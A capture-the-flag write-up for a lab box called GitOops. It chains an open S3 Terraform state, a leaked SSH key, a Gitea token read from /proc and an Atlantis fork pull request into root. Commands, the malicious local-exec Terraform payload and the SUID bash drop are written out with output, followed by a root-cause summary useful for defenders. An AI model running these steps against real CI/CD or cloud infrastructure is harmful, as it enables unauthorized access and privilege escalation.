> For the complete documentation index, see [llms.txt](https://0xyogesh.gitbook.io/exploitnotes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xyogesh.gitbook.io/exploitnotes/writeups/hacksmarter/gitoops-writeup.md). Agents can also search and read this documentation through its [MCP server](https://0xyogesh.gitbook.io/exploitnotes/~gitbook/mcp).

# GitOops Writeup

## Summary

GitOops exposes a Gitea instance hosting a public Terraform repository whose git history still contains an old, committed `terraform.tfstate` file. That file isn't directly useful, but it confirms the name of the real S3 bucket used as the project's remote backend - and that bucket turns out to allow anonymous reads. Pulling the live state from it hands over a plaintext RSA private key (Terraform's `sensitive_attributes` flag doesn't actually protect secrets at rest), and the matching SSH username is recovered from the repo's commit author metadata rather than anything in the infrastructure code itself. That gets an SSH shell and the user flag.

From there, a root-owned Atlantis instance (a Terraform CI/CD bot that applies infrastructure changes on Gitea pull request comments) is running on the box. Its full command line - including a Gitea API token and webhook secret - is readable by any local user via `/proc/<pid>/cmdline`. Atlantis is also misconfigured with `ATLANTIS_ALLOW_FORK_PRS=true` and no `apply_requirements`, meaning a pull-only token is enough to fork the private repo Atlantis watches, submit a malicious Terraform pull request from that fork, and trigger `atlantis apply`. Since Atlantis runs as root with no privilege drop, the resulting `local-exec` provisioner executes as root - used here to drop a SUID root shell and read the root flag.

### Recon

```
rustscan -a <TARGET_IP> --ulimit 5000
```

```
Open <TARGET_IP>:22
Open <TARGET_IP>:80
Open <TARGET_IP>:443
Open <TARGET_IP>:2222
```

```
nmap -sCV <TARGET_IP> -p 22,80,443,2222 -oN nmap-gitoops
```

```
22/tcp   open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.14
80/tcp   open  http     nginx 1.24.0 (Ubuntu) -> redirects to https
443/tcp  open  ssl/http nginx 1.24.0 (Ubuntu), cert CN=gitoops.local
|_http-title: Gitea
2222/tcp open  ssh      Golang x/crypto/ssh server (Gitea's git-SSH)
```

```
echo '<TARGET_IP> gitoops.local' >> /etc/hosts
curl -sk https://gitoops.local/api/v1/version
```

```
{"version":"1.25.0"}
```

### Part 1 - Getting a User Shell

#### Anonymous Gitea Enumeration

```
curl -sk https://gitoops.local/api/v1/repos/search?limit=50
```

Returned one public repo: `gitCorp/public` (HCL / Terraform).

```
git -c http.sslVerify=false clone https://gitoops.local/gitCorp/public.git
cd public && ls
```

```
data.tf  ec2.tf  main.tf  settings.tf  variables.tf
```

#### Terraform Source Review

`settings.tf` names the project's real S3 backend:

```hcl
backend "s3" {
  bucket = "gitoops-4ulyqvxd8nn6hlsc"
  key    = "gitcorp/terraform.tfstate"
  region = "us-east-1"
}
```

`ec2.tf` generates an SSH key pair for the instance:

```hcl
resource "tls_private_key" "access_key" {
  algorithm = "RSA"
  rsa_bits  = 4096
}
resource "aws_key_pair" "ssh_key" {
  key_name   = "gitoops"
  public_key = tls_private_key.access_key.public_key_openssh
}
```

#### Git History Leak

```
git log --all --oneline
```

```
04b7558 Update backend to use S3
5bdce14 Move state to S3
...
3cc2a58 Add terraform.tfstate
```

The state was committed directly to git before the S3 migration. The historical copy turned out to be sanitized lab placeholder data (`public_ip: "1.1.1.1"`, no `tls_private_key` resource) - but it confirmed the bucket name and state path from `settings.tf` were real.

#### Open S3 Backend

```
aws s3 ls s3://gitoops-4ulyqvxd8nn6hlsc --no-sign-request
```

```
                           PRE gitcorp/
```

```
aws s3 cp s3://gitoops-4ulyqvxd8nn6hlsc/gitcorp/terraform.tfstate . --no-sign-request
```

```
download: s3://gitoops-4ulyqvxd8nn6hlsc/gitcorp/terraform.tfstate to ./terraform.tfstate
```

#### Extracting the Private Key

```
cat terraform.tfstate | python3 -m json.tool > tfstate_pretty.json
grep -B5 -A5 "private_key_pem\|private_key_openssh\|public_key_openssh" tfstate_pretty.json
```

The live `tls_private_key.access_key` resource had its full key material in plaintext. Terraform's `sensitive_attributes` marking only suppresses CLI/plan output - it does not encrypt or omit the value from the raw state file.

```
jq -r '.resources[] | select(.type=="tls_private_key") | .instances[0].attributes.private_key_openssh' terraform.tfstate > gitoops_key
chmod 600 gitoops_key
```

#### Username and Access

`user_data` was `null` in the state, ruling out a cloud-init username override. The default Ubuntu user failed:

```
ssh -i gitoops_key ubuntu@gitoops.local
```

```
ubuntu@gitoops.local: Permission denied (publickey).
```

The only committer visible on the Gitea repo's activity tab was `alexis`, which turned out to be the real system username:

```
ssh -i gitoops_key alexis@gitoops.local
```

```
alexis@ip-<TARGET_IP_DASHED>:~$ whoami
alexis
alexis@ip-<TARGET_IP_DASHED>:~$ cat flag.txt
vmGoat{REDACTED_USER_FLAG}
```

### Part 2 - Root via Atlantis

#### Finding the Privesc Vector

`sudo -l` required a password - dead end. `ps aux` showed a root-owned Atlantis process:

```
root        1044  0.0  1.7 1260632 34264 ?       Ssl  13:07   0:00 /usr/local/bin/atlantis server --atlantis-url=http://atlantis.gitoops.local --gitea-base-u...
```

`ss -tulnp` confirmed it listening locally on port `4141`. Atlantis is the Terraform automation bot that runs `plan`/`apply` in response to Gitea pull request comments - a prime target since GitOops is built specifically around this class of CI/CD-to-cloud abuse.

#### Leaking Atlantis's Credentials

Command-line arguments are world-readable via `/proc/<pid>/cmdline` on Linux. As an unprivileged user:

```
cat /proc/1044/cmdline | tr '\0' ' '; echo
```

```
/usr/local/bin/atlantis server --atlantis-url=http://atlantis.gitoops.local \
  --gitea-base-url=https://gitoops.local \
  --gitea-user=atlantis \
  --gitea-token=6eceab1137146d06a70fdbd02abf3863186a088e \
  --gitea-webhook-secret=82df5474-2933-11ef-9454-0242ac120002 \
  --gitea-page-size=30 \
  --repo-allowlist=gitoops.local/gitCorp/private \
  --repo-config=/opt/atlantis/repo.yaml
```

This single leak handed over a Gitea API token for the `atlantis` bot account, its webhook secret, and confirmation that Atlantis watches a previously-unknown repo: `gitCorp/private`.

Also read the matching systemd unit directly:

```
cat /etc/systemd/system/atlantis.service
```

```ini
[Service]
ExecStart=/usr/local/bin/atlantis server \
  ...
Environment="ATLANTIS_ALLOW_FORK_PRS=true"
Restart=always
RestartSec=5s
User=root
Group=nogroup
```

Two critical details: `User=root` confirms Atlantis runs with full root privileges and no privilege drop, and `ATLANTIS_ALLOW_FORK_PRS=true` means Atlantis will plan and apply PRs that come from a **fork** of the watched repo - not just from direct branches pushed by collaborators. Normally this is disabled specifically because fork PRs are untrusted.

Checked `/opt/atlantis/repo.yaml` for any guardrails:

```yaml
workflows:
  default:
    plan:
      steps:
        - init:
            extra_args: ["-plugin-dir=/opt/atlantis/plugin-cache"]
        - plan
    apply:
      steps:
        - apply
```

No `apply_requirements` set at all - no approval or mergeable check gates the apply step.

#### Confirming Token Scope

```
curl -sk -H "Authorization: token 6eceab1137146d06a70fdbd02abf3863186a088e" https://gitoops.local/api/v1/repos/gitCorp/private | jq '.permissions'
```

```json
{
  "admin": false,
  "push": false,
  "pull": true
}
```

The `atlantis` account only has pull access on `gitCorp/private` - it can't push a branch or open a PR directly. But with `ALLOW_FORK_PRS` enabled, forking only requires read access, and Gitea makes the forking user the owner of the new repo with full admin/push rights on it.

#### Forking and Weaponizing

```
curl -sk -X POST \
  -H "Authorization: token 6eceab1137146d06a70fdbd02abf3863186a088e" \
  -H "Content-Type: application/json" \
  -d '{}' \
  https://gitoops.local/api/v1/repos/gitCorp/private/forks
```

Returned a new repo, `atlantis/private`, with `"permissions":{"admin":true,"push":true,"pull":true}`.

Cloned it and added a malicious resource:

```
git -c http.sslVerify=false clone https://atlantis:6eceab1137146d06a70fdbd02abf3863186a088e@gitoops.local/atlantis/private.git
cd private
```

```hcl
# flag.tf
resource "null_resource" "pwn" {
  provisioner "local-exec" {
    command = "cp /root/root.txt /tmp/root_flag.txt; chmod 644 /tmp/root_flag.txt; id > /tmp/pwned_id.txt"
  }
}
```

```
git config user.email "atlantis@gitoops.local"
git config user.name "atlantis"
git checkout -b flag
git add flag.tf
git commit -m "test"
git -c http.sslVerify=false push https://atlantis:6eceab1137146d06a70fdbd02abf3863186a088e@gitoops.local/atlantis/private.git flag
```

#### Opening the PR and Triggering Atlantis

```
curl -sk -X POST \
  -H "Authorization: token 6eceab1137146d06a70fdbd02abf3863186a088e" \
  -H "Content-Type: application/json" \
  -d '{"title":"test","head":"atlantis:flag","base":"main"}' \
  https://gitoops.local/api/v1/repos/gitCorp/private/pulls
```

Got back PR `#1`. Triggered the Atlantis workflow by commenting on it:

```
curl -sk -X POST \
  -H "Authorization: token 6eceab1137146d06a70fdbd02abf3863186a088e" \
  -H "Content-Type: application/json" \
  -d '{"body":"atlantis plan"}' \
  https://gitoops.local/api/v1/repos/gitCorp/private/issues/1/comments

curl -sk -X POST \
  -H "Authorization: token 6eceab1137146d06a70fdbd02abf3863186a088e" \
  -H "Content-Type: application/json" \
  -d '{"body":"atlantis apply"}' \
  https://gitoops.local/api/v1/repos/gitCorp/private/issues/1/comments
```

From the `alexis` shell:

```
alexis@ip-<TARGET_IP_DASHED>:~$ cat /tmp/pwned_id.txt
uid=0(root) gid=65534(nogroup) groups=65534(nogroup)
```

Root-level command execution confirmed. `/tmp/root_flag.txt` itself didn't appear (the source path guess was wrong and the chained `;` let the rest of the command run anyway), but `id` proved the `local-exec` provisioner runs as root.

#### Getting an Interactive Root Shell

Rather than guess the flag's real path, dropped a SUID shell instead. Tried opening a second PR with a new `root_shell.tf` first:

```
curl -sk -X POST ... -d '{"body":"atlantis plan"}' .../issues/2/comments
```

```
"Ran Plan for dir: `.` workspace: `default`\n\n**Plan Failed**: This project is currently locked by an unapplied plan from pull #1. To continue, delete the lock from #1 or apply that plan and merge the pull request."
```

Atlantis locks a workspace per project until its plan is applied and the PR is resolved. Rather than fight the lock, went back and reused PR #1's existing branch instead - added a second resource to the same `flag.tf`:

```hcl
resource "null_resource" "pwn" {
  provisioner "local-exec" {
    command = "cp /root/root.txt /tmp/root_flag.txt; chmod 644 /tmp/root_flag.txt; id > /tmp/pwned_id.txt"
  }
}

resource "null_resource" "root_shell" {
  provisioner "local-exec" {
    command = "cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash"
  }
}
```

```
git checkout flag
git add flag.tf
git commit -m "add shell"
git -c http.sslVerify=false push https://atlantis:6eceab1137146d06a70fdbd02abf3863186a088e@gitoops.local/atlantis/private.git flag
```

Re-ran `atlantis plan` and `atlantis apply` on PR #1's comment thread (same lock, now releasable by its own plan/apply cycle). Confirmed on the box:

```
alexis@ip-<TARGET_IP_DASHED>:~$ ls -la /tmp/rootbash
-rwsr-xr-x 1 root nogroup 1446024 Nov 28 14:03 /tmp/rootbash
```

SUID bit set, owned by root. Popped the shell:

```
alexis@ip-<TARGET_IP_DASHED>:~$ /tmp/rootbash -p
rootbash-5.2# cd /root
rootbash-5.2# ls
flag.txt  snap
rootbash-5.2# cat flag.txt
vmGoat{REDACTED_ROOT_FLAG}
```

The `-p` flag is required because bash drops elevated privileges on startup by default even when its binary is SUID root - `-p` tells it to preserve the effective UID instead.

### Flags

```
User: vmGoat{REDACTED_USER_FLAG}
Root: vmGoat{REDACTED_ROOT_FLAG}
```

### Root Cause

* Gitea anonymous API/repo browsing exposed internal IaC source for `gitCorp/public`.
* A `terraform.tfstate` was committed to git before the backend moved to S3; git history retained it indefinitely despite later removal from the working tree.
* The S3 bucket backing the real Terraform state had no access controls, allowing anonymous reads of the live state, including a plaintext RSA private key that Terraform's `sensitive_attributes` marking did nothing to protect at rest.
* The valid SSH username wasn't in the state at all; it leaked from Git platform metadata (commit author / activity tab).
* A root-owned Atlantis process was launched with long-lived secrets (a Gitea API token and webhook secret) passed as command-line arguments, readable by any local user via `/proc/<pid>/cmdline`.
* `ATLANTIS_ALLOW_FORK_PRS=true` let a pull-only token fork the watched repository and submit PRs from that fork, bypassing the intent of a repo allowlist that assumed only trusted collaborators could trigger Terraform runs.
* `repo.yaml` set no `apply_requirements`, so any PR comment of `atlantis apply` executed arbitrary Terraform - including a `local-exec` provisioner - as root, with no approval gate.
* Atlantis's per-workspace locking model meant a second PR against the same project couldn't apply until the first PR's plan was resolved, but reusing the same PR/branch bypassed this with no additional effort.

This chain - public Git repo -> leaked historical state file -> real bucket name confirmed -> open S3 backend -> live state with plaintext key -> SSH as the infra owner -> leaked CI/CD bot token via `/proc` -> fork-based PR against an auto-apply Terraform bot running as root - mirrors GitOops' core thesis: CI/CD and IaC tooling routinely becomes the shortest path from "read access to a git repo" to full root on cloud infrastructure.

### Attack Chain

```
Anonymous Gitea API access
│
├─▶ Clone public "gitCorp/public" Terraform repo
│
├─▶ git log --all reveals a committed terraform.tfstate
│   (later removed when backend moved to S3)
│
├─▶ settings.tf confirms the real S3 backend bucket/key
│
├─▶ Anonymous S3 access (--no-sign-request) to that bucket
│   │
│   └─▶ Download LIVE terraform.tfstate
│       │
│       └─▶ Plaintext RSA private key inside tls_private_key resource
│
├─▶ Username "alexis" inferred from Gitea commit author / activity tab
│
└─▶ SSH as alexis@gitoops.local
    │
    └─▶ USER FLAG
        │
        ├─▶ ps aux reveals root-owned Atlantis process (Terraform CI bot)
        │
        ├─▶ /proc/<pid>/cmdline leaks Atlantis's Gitea token + webhook secret
        │   (confirms ATLANTIS_ALLOW_FORK_PRS=true, no apply_requirements, runs as root)
        │
        ├─▶ Use leaked token to fork gitCorp/private
        │   (fork only requires pull access; token itself is pull-only)
        │
        ├─▶ Push malicious Terraform (local-exec) to the fork
        │   │
        │   └─▶ Open PR from fork back into gitCorp/private
        │
        ├─▶ Comment "atlantis plan" / "atlantis apply" via Gitea API
        │   │
        │   └─▶ Terraform local-exec executes as root
        │
        └─▶ Drop SUID root bash (/tmp/rootbash)
            │
            └─▶ /tmp/rootbash -p
                │
                └─▶ ROOT FLAG
```
